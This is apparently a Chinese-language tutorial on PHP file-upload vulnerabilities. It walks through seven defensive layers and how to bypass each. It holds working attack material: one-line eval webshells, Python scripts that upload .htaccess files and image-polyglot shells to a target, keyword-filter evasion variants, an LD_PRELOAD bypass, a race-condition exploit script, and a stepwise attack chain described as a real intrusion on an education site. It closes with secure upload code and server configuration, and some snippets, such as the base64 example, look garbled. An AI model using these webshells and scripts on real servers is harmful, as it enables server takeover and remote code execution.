一、文件上传是什么

文件上传漏洞的核心是攻击者能把任意文件上传到 Web 可执行目录,最经典的结果就是上传 WebShell 拿服务器权限。

1.1 典型漏洞代码

<?php
// upload.php - 极简文件上传漏洞
$file = $_FILES['file'];
$name = $file['name'];
$tmp  = $file['tmp_name'];

// 直接搬过去,什么都没检查!
move_uploaded_file($tmp, "./uploads/" . $name);
echo "上传成功: " . $name;
?>

上传一个 PHP WebShell:

<!-- shell.php - 最简单的一句话木马 -->
<?php @eval($_POST['cmd']); ?>

然后请求 /uploads/shell.php 并 POST cmd=phpinfo();,RCE 完成。

1.2 文件上传保护逻辑层次

一个相对完整的文件上传防护会做这些检查:

Layer 1: 前端 JavaScript 校验后缀 Layer 2: 检查 Content-Type(MIME 类型) Layer 3: 检查文件扩展名(黑名单 / 白名单) Layer 4: 检查文件内容(magic number / 文件头) Layer 5: 检查文件内容(php 标签 / 危险关键字扫描) Layer 6: 重命名随机化 + 存储到不可执行目录 Layer 7: 运行时限制(disable_functions / 沙箱)

下面逐层绕过。

二、Layer 1:前端校验绕过

前端 JS 过滤最没用,因为在用户浏览器里执行,攻击者随时能改。

2.1 直接改请求包

// front-check.js - 前端校验
function check() {
    var name = document.getElementById('file').value;
    if (!/\.(jpg|png|gif)$/i.test(name)) {
        alert('只允许图片!');
        return false;
    }
    return true;
}

绕过方式:

  1. 抓包改包(Burp Suite 直接改扩展名)
  2. 禁用 JS(浏览器 F12 → 禁用 JavaScript)
  3. 手动构造 POST 请求(curl / requests)
# 用 requests 直接绕过前端 JS
import requests

# 假装上传 jpg,实际是 php shell
files = {
    'file': ('shell.php', b'<?php eval($_POST["cmd"]); ?>', 'image/jpeg')
}
r = requests.post('http://target.com/upload.php', files=files)
print(r.text)

三、Layer 2:MIME 类型绕过

3.1 问题代码

<?php
$file = $_FILES['file'];
$mime = $file['type'];  // 从请求头 Content-Type 取

if (in_array($mime, ['image/jpeg', 'image/png', 'image/gif'])) {
    move_uploaded_file($file['tmp_name'], './uploads/' . $file['name']);
} else {
    die('非法类型');
}
// 问题:$file['type'] 是客户端可控的!
?>

3.2 绕过

客户端可以随便伪造 Content-Type。用 Burp 或 curl:

curl -F "file=@shell.php;type=image/jpeg" http://target.com/upload.php

3.3 更安全的 MIME 检查

<?php
// 用服务器端判断真实文件类型
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$real_mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);

if (!in_array($real_mime, ['image/jpeg', 'image/png', 'image/gif'])) {
    die('非法类型: ' . $real_mime);
}
// 这才对
?>

四、Layer 3:扩展名黑名单绕过

4.1 黑名单的典型问题

<?php
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);

// 黑名单:禁止 php、jsp、asp
$deny = ['php', 'php3', 'php4', 'php5', 'phtml', 'jsp', 'jspx', 'asp', 'aspx'];

if (!in_array(strtolower($ext), $deny)) {
    move_uploaded_file($file['tmp_name'], './uploads/' . $file['name']);
}
?>

4.2 绕过方法一:大小写绕过

shell.PHP → 某些服务器 ext 不区分大小写,但黑名单做了 strtolower?不,反过来: 黑名单做了 strtolower,服务器也不区分大小写执行 → .PHP 照样执行

4.3 绕过方法二:双写绕过

shell.phtml → 如果黑名单把 php 替换成空 → 黑名单检查:先处理扩展名 - str_replace('php', '', 'phtml') → 'ml' → 放行了! - move_uploaded_file 的扩展名是 phtml - 服务器执行 phtml → 实际上 php 配置了 phtml 作为 PHP 后缀

<?php
// 双写漏洞示例
$name = $_FILES['file']['name'];
// 先把 php 替换为空(本意是过滤)
$name = str_replace('php', '', $name);
// 检查"净化"后的文件名
$ext = pathinfo($name, PATHINFO_EXTENSION);
if (!in_array($ext, ['php', 'asp', 'jsp'])) {
    move_uploaded_file($file['tmp_name'], './uploads/' . $name);
}
// 攻击者上传:shell.php.jpg
// str_replace 后:shell.jpg  ← 扩展名变成 jpg,放行!
// 但实际上传时用的还是原始 $name...
?>

4.4 绕过方法三:特殊后缀名(解析漏洞)

Apache 解析特性:Apache 对文件名按 . 从右向左判断后缀:

shell.php.xxx → Apache 看到最后是 xxx(不识别)→ 往左边看 php → 执行 shell.php.jpg → Apache 从右看到 jpg(图片)→ 但左边还有 php → 某些版本执行 php

Nginx 解析特性:Nginx 本身不解析 PHP,而是把请求转给 php-fpm。如果路径包含 shell.php,Nginx 就转给 php-fpm。

所以 Nginx 经典绕过是 shell.jpg%00.phpshell.jpg/xxx.php(利用 path_info)。

五、Layer 3 扩展:.htaccess / .user.ini 绕过

5.1 .htaccess 绕过(Apache)

Apache 允许每个目录下放 .htaccess 来改运行配置。如果能上传它,可以让任意后缀当作 PHP 执行。

``apache

.htaccess 内容:把所有 .jpg 文件按 PHP 执行

AddType application/x-httpd-php .jpg

或者只匹配当前目录下所有文件

SetHandler application/x-httpd-php
``

攻击流程:

[1] 上传 .htaccess [2] 上传 shell.jpg(真的是 jpg 后缀) [3] 请求 shell.jpg → Apache 按 PHP 执行 → RCE

5.2 .user.ini 绕过(PHP-CGI / php-fpm)

PHP 的 .user.ini 可以在目录级别修改 php.ini:

ini ; .user.ini 内容 auto_prepend_file=image.jpg ; 所有 PHP 文件执行前先 include image.jpg ; 只要目录下有 PHP 被请求,image.jpg 就会被执行

如果上传目录下有任意 PHP 文件被访问(哪怕是别的功能的 PHP),image.jpg 就会被自动 include 执行。

5.3 实战脚本

# htaccess_exploit.py
import requests, sys

TARGET = "http://target.com/upload.php"
UPLOAD_DIR = "uploads/"

def upload(filename, content, ctype='image/jpeg'):
    files = {'file': (filename, content, ctype)}
    r = requests.post(TARGET, files=files)
    return '成功' in r.text

# Step 1: 上传 .htaccess
HTACCESS = b'AddType application/x-httpd-php .jpg
SetHandler application/x-httpd-php
'
upload('.htaccess', HTACCESS, 'text/plain')

# Step 2: 上传图片马
SHELL = b'<?php eval($_POST["cmd"]); ?>'
upload('image.jpg', SHELL, 'image/jpeg')

# Step 3: 触发执行
r = requests.post(f"http://target.com/{UPLOAD_DIR}image.jpg", data={'cmd': 'phpinfo();'})
print(r.text[:500])

六、Layer 4:文件头(Magic Number)绕过

6.1 问题代码

<?php
// 只检查文件头是否是图片 magic
$magic = substr(file_get_contents($file['tmp_name']), 0, 3);
$allow = ['ÿØÿ', '‰PNG'];  // jpg / png
if (in_array($magic, $allow)) {
    // ...
}
?>

6.2 绕过:文件马

把图片的 magic number 放在 PHP 代码前:

# Linux: 合成图片马
cp real.jpg image.jpg.php
echo '<?php eval($_POST["cmd"]); ?>' >> image.jpg.php

# 或者用工具
# jpg + php 源码拼接
printf 'ÿØÿà<?php eval($_POST["cmd"]); ?>' > payload.jpg
# Python 合成图片马
def make_webshell_image(image_path, shell_code, out_path):
    with open(image_path, 'rb') as f:
        img_bytes = f.read()
    payload = img_bytes + b'
<?php ' + shell_code.encode() + b' ?>'
    with open(out_path, 'wb') as f:
        f.write(payload)
    print(f"[+] wrote {out_path} ({len(payload)} bytes)")

make_webshell_image('/tmp/real.jpg', 'eval($_POST["cmd"])', 'shell.jpg')

图片马文件开头是合法的 JPG magic ÿØÿ,服务器检查通过;后面带 PHP 代码,被当作 PHP 执行。

6.3 更安全的内容检查

真正安全的检查:用 PHP 的 GD 库尝试处理图片。如果 imagecreatefromjpeg() 失败,说明不是真图片:

<?php
// 真图片才上传
$img = @imagecreatefromjpeg($file['tmp_name']);
if (!$img) {
    die('不是合法图片');
}
// 重新处理一遍,去掉嵌入的恶意代码
imagejpeg($img, './uploads/' . $safe_name);
?>

七、Layer 5:文件内容关键字扫描绕过

7.1 典型过滤

<?php
$content = file_get_contents($file['tmp_name']);

// 黑名单:eval / assert / system / passthru / exec
$deny = ['eval', 'assert', 'system', 'passthru', 'exec', 'shell_exec', 'include'];
foreach ($deny as $w) {
    if (stripos($content, $w) !== false) {
        die('违禁关键字: ' . $w);
    }
}
// ...
?>

7.2 绕过方案

方案一:PHP 短标签 + 关键字分离

// 不用 eval,用 assert
<?= assert($_POST['c']) ?>

// 不用 assert,用 call_user_func
<?php
$func = $_POST['f'];  // 传入 assert
$func($_POST['c']);   // 传入命令
?>

方案二:编码绕过

<?php
// base64 编码
eval(base64_decode('JGludGVyZnVzZV9yZXBvcnQ9dHJ1ZTsgZXZhbChkZWJ1Z2luZm8oUEhQX0NPREVfUElOS1VTCkpvaW4oJy5qJy5zeS5zeS4ncScp'));
?>

方案三:变量函数 + 数组

<?php
$a = 'a' . 'ssert';
$a($_POST['c']);
?>

方案四:动态常量 + Reflection

<?php
$r = new ReflectionClass('stdClass');
$method = $r->getMethod('__callStatic');
$method->invokeArgs(null, ['assert', [$_POST['c']]]);
?>

方案五:绕过 disable_functions 的 LD_PRELOAD

<?php
// 前提:能上传 .so 动态库
// 先上传恶意 .so,再通过 putenv 设置 LD_PRELOAD
putenv("LD_PRELOAD=/var/www/html/uploads/evil.so");
assert($_POST['c']);  // 或任何触发 PHP 运行的操作
// .so 里实现 getuid() hook,调用 system("id")
?>

八、竞争条件上传(Race Condition)

8.1 原理

<?php
// 先写临时文件 → 再检查 → 再删除 → 再改名
// 中间存在空窗!
$tmp = "./uploads/tmp_" . uniqid();
move_uploaded_file($file['tmp_name'], $tmp);

// 检查中...(耗时 100ms)
$content = file_get_contents($tmp);
if (bad($content)) {
    @unlink($tmp);
} else {
    rename($tmp, "./uploads/safe.php");
}
?>

攻击者在检查期间并发请求临时文件,如果文件已经写入但还没被删除/改名,就被执行了。

8.2 利用脚本

# race_attack.py - 竞争条件上传
import requests, threading, time

TARGET = "http://target.com/upload.php"
URL    = "http://target.com/uploads/tmp_shell.php"

def uploader():
    # 并发上传同一个临时文件
    for i in range(200):
        files = {'file': ('tmp_shell.php', b'<?php eval($_POST["c"]); ?>')}
        requests.post(TARGET, files=files)

def trigger():
    # 并发请求临时文件,看有没有机会命中
    for i in range(500):
        try:
            r = requests.post(URL, data={'c': 'echo "PWNED";'}, timeout=2)
            if 'PWNED' in r.text:
                print(f"[+] 成功!命中临时文件 {i} 次")
                break
        except:
            pass
    else:
        print("[-] 没命中,加快线程")

threads = []
for _ in range(10):
    t = threading.Thread(target=uploader)
    t.start()
    threads.append(t)

time.sleep(0.5)

for _ in range(20):
    t = threading.Thread(target=trigger)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

8.3 防御竞争条件

  • 使用 move_uploaded_file 直接到最终路径(原子操作)
  • 或用 PHP 的 finfo_file 在临时路径检查后立刻改名
  • 存储目录用一个随机临时名,不做可预测前缀

九、Apache / Nginx / IIS 解析漏洞

9.1 Apache 解析漏洞

特性:Apache 按 . 从右往左识别后缀。

文件名 解析结果
shell.php.xxx xxx 不识别 → 往左看 php → 执行 PHP
shell.php.jpg 某些版本 jpg 后仍有 php → 执行
shell.phtml php 配置里允许 phtml → 执行
shell.php5 php 配置里允许 php5 → 执行

9.2 Nginx 解析漏洞

Nginx 本身不解析 PHP,PHP 解析全靠 php-fpm。漏洞出在 Nginx 把请求转给 php-fpm 时对 $fastcgi_script_name 的处理:

``nginx

典型有漏洞的 Nginx 配置

location ~ .php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}

问题:如果请求 /uploads/shell.jpg/xxx.php

Nginx 匹配 .php$,$fastcgi_script_name = /uploads/shell.jpg/xxx.php

php-fpm 找不到 xxx.php,于是回退解析 shell.jpg(配置了 cgi.fix_pathinfo=1)

结果:shell.jpg 被当作 PHP 执行!

``

9.3 复现

``bash

上传 shell.jpg(内容:)

curl -F "file=@shell.jpg" http://target.com/upload

触发漏洞

curl -X POST http://target.com/uploads/shell.jpg/xxx.php -d "c=phpinfo();"
``

9.4 防御

``nginx

正确配置

location ~ .php$ {
fastcgi_pass 127.0.0.1:9000;
# 关键:用 try_files 确保文件真实存在
try_files $uri =404;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
``

同时 php.ini:

ini cgi.fix_pathinfo = 0

9.5 IIS 解析漏洞

IIS 6.0

  • shell.asp;jpg → 当作 asp 执行(分号截断)
  • shell.asp/.jpg → 当作 asp 执行
  • shell.asa / shell.cdx / shell.cer → 当作 asp 执行(未知后缀映射)

IIS 7+ / Nginx

  • 类似的 path_info 问题:shell.jpg/shell.php

十、完整攻击链示例

10.1 某教育站文件上传绕过实战

``
目标:upload.xxxxx.edu.cn

[1] 前端 JS 校验:禁用 JS,绕过

[2] Content-Type 校验:改请求头 image/jpeg,绕过

[3] 扩展名黑名单:禁止 .php .phtml .php3 .php5
→ 上传 .htaccess 绕过(Apache)
→ 或者上传 .user.ini 绕过(PHP-CGI)

[4] 文件头检查:合成图片马绕过
python make_webshell_image()

[5] 内容关键字检查 → 用 assert + call_user_func 拆分关键字

[6] 路径写入:上传到 /public/uploads/ → 可以直接访问

[7] 执行:请求图片马 URL,POST cmd → 拿 Shell

[8] 提权:服务器是 root 启动的 → 直接 root
否则尝试 LD_PRELOAD 绕过 disable_functions
``

十一、安全的文件上传方案

<?php
// safe_upload.php - 生产级安全上传
class SafeUploader {

    const ALLOWED_EXT = ['jpg', 'jpeg', 'png', 'gif'];
    const ALLOWED_MIME = ['image/jpeg', 'image/png', 'image/gif'];
    const MAX_SIZE = 5 * 1024 * 1024;  // 5MB
    const UPLOAD_DIR = '/var/www/data/uploads/';  // 非 Web 根目录
    const DISCERN = 'imagecreatefromjpeg';        // 真图片才能处理

    public static function upload($file) {
        // 1. 检查大小
        if ($file['size'] > self::MAX_SIZE) {
            throw new Exception('文件太大');
        }

        // 2. 检查扩展名(白名单)
        $ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
        if (!in_array($ext, self::ALLOWED_EXT)) {
            throw new Exception('不允许的扩展名');
        }

        // 3. 服务器端 MIME 检查
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $real_mime = finfo_file($finfo, $file['tmp_name']);
        finfo_close($finfo);
        if (!in_array($real_mime, self::ALLOWED_MIME)) {
            throw new Exception('不允许的 MIME');
        }

        // 4. GD 二次处理(确保是真图片)
        switch ($ext) {
            case 'jpg':
            case 'jpeg':
                $img = @imagecreatefromjpeg($file['tmp_name']);
                break;
            case 'png':
                $img = @imagecreatefrompng($file['tmp_name']);
                break;
            case 'gif':
                $img = @imagecreatefromgif($file['tmp_name']);
                break;
        }
        if (!$img) throw new Exception('非真实图片');

        // 5. 重编码(去掉嵌入的 PHP 代码)
        $safe_name = bin2hex(random_bytes(16)) . '.' . $ext;
        $out_path = self::UPLOAD_DIR . $safe_name;

        switch ($ext) {
            case 'jpg':
            case 'jpeg':
                imagejpeg($img, $out_path, 90);
                break;
            case 'png':
                imagepng($img, $out_path, 9);
                break;
            case 'gif':
                imagegif($img, $out_path);
                break;
        }
        imagedestroy($img);

        // 6. 返回的是 CDN URL,不是原始上传目录
        return "https://cdn.example.com/uploads/" . $safe_name;
    }
}

try {
    $result = SafeUploader::upload($_FILES['avatar']);
    echo $result;
} catch (Exception $e) {
    http_response_code(400);
    echo $e->getMessage();
}
?>

十二、小结

文件上传绕过的核心是分层组合

  • MIME/扩展名绕过 → 让文件进去
  • 解析漏洞 → 让文件按脚本执行
  • .htaccess/.user.ini → 让任意后缀执行
  • 文件包含 → 触发图片马执行
  • 竞争条件 → 抢在删除前执行

防御优先级:重编码 > 白名单 > 非执行目录 > 随机名 > 协议隔离(用 CDN 对象存储)